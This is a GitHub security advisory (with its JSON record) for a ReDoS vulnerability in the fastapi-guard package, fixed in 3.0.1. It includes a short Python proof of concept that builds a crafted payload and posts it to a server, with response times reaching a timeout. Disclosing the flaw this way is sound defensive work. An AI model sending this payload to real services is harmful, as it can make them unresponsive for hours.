ghsa-j47q-rc62-w448
Vulnerability from github
Published
2025-07-07 23:36
Modified
2025-07-07 23:36
Severity ?
0.0 (None) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Summary
fastapi-guard is vulnerable to ReDoS through inefficient regex
Details

Summary

fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.

It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.

PoC

e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7

```python payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('*n # complexity: O(n^5)

print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120 print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637 print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min) ```

Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.

Impact

Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False are vulnerable to DoS.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-07T23:36:39Z",
    "nvd_published_at": "2025-07-07T20:15:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: \u0027\u003c\u0027*n+ \u0027 \u0027*n+ \u0027style=\u0027 + \u0027\"\u0027*n + \u0027 \u0027*n+ \u0027url(\u0027*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (\u003e15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.",
  "id": "GHSA-j47q-rc62-w448",
  "modified": "2025-07-07T23:36:39Z",
  "published": "2025-07-07T23:36:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rennf93/fastapi-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "fastapi-guard is vulnerable to ReDoS through inefficient regex"
}


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